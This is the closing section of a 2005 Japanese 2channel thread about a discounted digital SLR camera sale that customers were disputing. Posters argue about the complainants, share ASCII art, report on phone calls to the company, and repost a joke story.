もう建てたよ
┌| ∵|┘ 99,540円の一眼デジカメが59,640円★10台目
http://news19.2ch.net/test/read.cgi/news/1109824203

978 :番組の途中ですが名無しです:05/03/03 13:50:56 ID:5vYt5m/w
もう終了ですねゴネ厨の敗北ですw

979 :番組の途中ですが名無しです:05/03/03 13:51:42 ID:KIy9rtUW
ナニワの敗北か
ナニワゴネ厨が!

980 :番組の途中ですが名無しです:05/03/03 13:53:39 ID:pfLAQ+oE
荒らしがひどいな。NG推奨IDをみんなで出してスルーしましょう。

981 :番組の途中ですが名無しです:05/03/03 13:54:14 ID:5vYt5m/w
            ,r;;;;ミミミミミミヽ,,_
           ,i':r"    ノ(`ミ;;,
           彡     ⌒ ミ;;;i
           彡 ,,,,,、 ,,,,、、 ミ;;;!
           ,ゞi" ̄ フ‐! ̄~~|-ゞ,   ゴネ厨は断じて許さん!
          ヾi `ー‐'、 ,ゝ--、' 〉;r'
           `,|  / "ii" ヽ  |ノ
  ∧、        't ー―→ )/イ            ∧_
/⌒ヽ\        ヽ、  _,/ λ、       . //~⌒ヽ スチャ
|( ● )| i\     _,,ノ|、  ̄/// / \     /i |( ● )|
\_ノ ^i | _,,..r''''" ノ | \`', /  /  / ̄`''ー | i^ ゝ_ノ
 |_|,-''iつl/´    ヽノ| /\   / 、│     l⊂i''-,|_|
  [__|_|/〉ヽ、  / |/ );;;;/\/   'く    /〈\|_|__]
   [ニニ〉  ',  ヽ. | /⌒| /   ゚/    / 〈二二]
   └―'                        '─┘

982 :番組の途中ですが名無しです:05/03/03 13:57:15 ID:0ip7YyYq
中根氏宛に質問状FAXして回答してもらえばいいのか?
メールよりわかりやすいだろうし

983 :番組の途中ですが名無しです:05/03/03 13:57:24 ID:KIy9rtUW
フユノリンブドウナルノ

984 :番組の途中ですが名無しです:05/03/03 13:57:49 ID:Y6hgrsPN

その銃口の先はナニワだなw

985 :番組の途中ですが名無しです:05/03/03 13:59:31 ID:qNN8CDKP
:;' /:/ `メ、 i: ハ: i: : ii:i ヽ: i: :ii; : : : :iヽ: :
i: :i: i: i/,ィ=ミヽi: iヽNi:i_`iL:H---i:i: ヽ
i: :i :i / {.iトgj:i ヽ! lルィ丁゙)‐ミ「!: :ii/: : i
;':/ヾム⊂つ'´     i:.;{iil1:ソ i:i:::i !: : i:
: i: /: iト        、,,ミニっ /i/゚: o i .
: i:/: : i    、`_      ̄/.:/: : : i: :   あやまれ!!
: /: .::ハ   ゙llllllル `ヽ    //. : :/! i: .  石倉三郎にあやまれ!!
/: .::/:::/`、  lll/: : : : :} /〃:./: /i iハ! 
i. ::/i::/::::::i::ヽ`三ー 'ノ , イ/: /: /.::i i::::::
::::///::::::::i:::i:..ヽ---<::::/:::/: :/: : i iヽ::


986 :番組の途中ですが名無しです:05/03/03 13:59:32 ID:J8VXzL9L
比較的年齢の高い人たちが今回の被害にあってるからね。
冷静に情報をまとめて、いろんなところに実際に相談を持っていってる。

今はその経緯を見つめるときなんだよ。だからスレ上では動きが少ない。
ナニワも具体的な返答を今は避けている。

できるだけ早い段階で返答を出すとは明言してるけどね。
(↑今日の中根氏の言葉)

987 :番組の途中ですが名無しです:05/03/03 14:02:08 ID:KIy9rtUW
>>986
フリーダイヤルで中根でるの?
中根じゃ話しにならんようだが中根より上には通らないんだろ?

できるだけ早いって┌| ∵|┘クオリティじゃな
時間もどれだけかかるか分からんし
回答はまたあいまいな
ガキの言いわけ帰ってくるだけ

988 :番組の途中ですが名無しです:05/03/03 14:10:25 ID:KIy9rtUW
いつも思うが
このすれは使いきる前に新スレで話しだす傾向があるな

989 :番組の途中ですが名無しです:05/03/03 14:10:46 ID:0ip7YyYq
フリーダイヤルで中根氏出るよ
上の人間にかわれは言わなかったからわからないけど、今までの書き込みからだと出さないね

出来るだけ早くってのも明言しないだろうから・・・

990 :番組の途中ですが名無しです:05/03/03 14:11:42 ID:5vYt5m/w
ゴネ厨氏ねや

991 :番組の途中ですが名無しです:05/03/03 14:13:30 ID:KIy9rtUW
フリーダイヤル携帯いける?

992 :番組の途中ですが名無しです:05/03/03 14:14:30 ID:KIy9rtUW
>>989
>>986が名言したっていってるぞ

993 :番組の途中ですが名無しです:05/03/03 14:17:55 ID:EjlZyEsn
>>993ならカメラクル

994 :番組の途中ですが名無しです:05/03/03 14:18:35 ID:0ip7YyYq
>>992
書き間違えてた

出来るだけ早くって言っても、日付は明言しないだろうから

俺が電話したときも、問い合わせメールいっぱい来てて一生懸命返してるけど
いっぱいでちと遅くなるって言ってたよ

ただ、何日遅くなるではなくて要約すると
「いっぱいがんばってるから、ちょっと(個人差ある表現)待ってください」だった

995 :番組の途中ですが名無しです:05/03/03 14:29:43 ID:wNYaP8sX
1000

996 :番組の途中ですが名無しです:05/03/03 14:31:28 ID:pfLAQ+oE
996ならカメラが1人10台

997 :番組の途中ですが名無しです:05/03/03 14:34:50 ID:NCKREzek
好 き な こ と を 好 き な だ け や り な さ い

998 :番組の途中ですが名無しです:05/03/03 14:35:15 ID:dDUjzkh1


999 :番組の途中ですが名無しです:05/03/03 14:35:22 ID:ZTECbvv2
>>1000http://pie.bbspink.com/test/read.cgi/girls/1092221130/812

付き合って2ヶ月の彼女に「今日親いないから」って家に呼ばれた。
まだ交わりをかわしてなかった俺は今日がその日だと思った。
彼女の家のあるマンションに着いて、大事なものを用意していないのに気付いた。
運よくマンションの一階に薬局が入ってた。
店主がおっさんだったので気楽にゴムを買えた。
レジでそのおっさんがニヤニヤしながら「兄ちゃん、いまからか?」と聞いてきた。
俺もにやつきながら「今日初H」と答えた。
おっさんは「がんばれよ」とか言って送り出してくれた。
彼女の家に着くなり「ごめんもうすぐ親が帰ってくる」と言われた。
今日はダメか・・と思ったが「とりあえず挨拶だけしていって」ということだったので彼女の親の帰宅を待った。
5分ほどで彼女の父親が帰ってきた。
下の薬局のおやじだった。

1000 :番組の途中ですが名無しです:05/03/03 14:35:30 ID:zrzrXXkk
このIDで1000取れたら他に何もいらない…

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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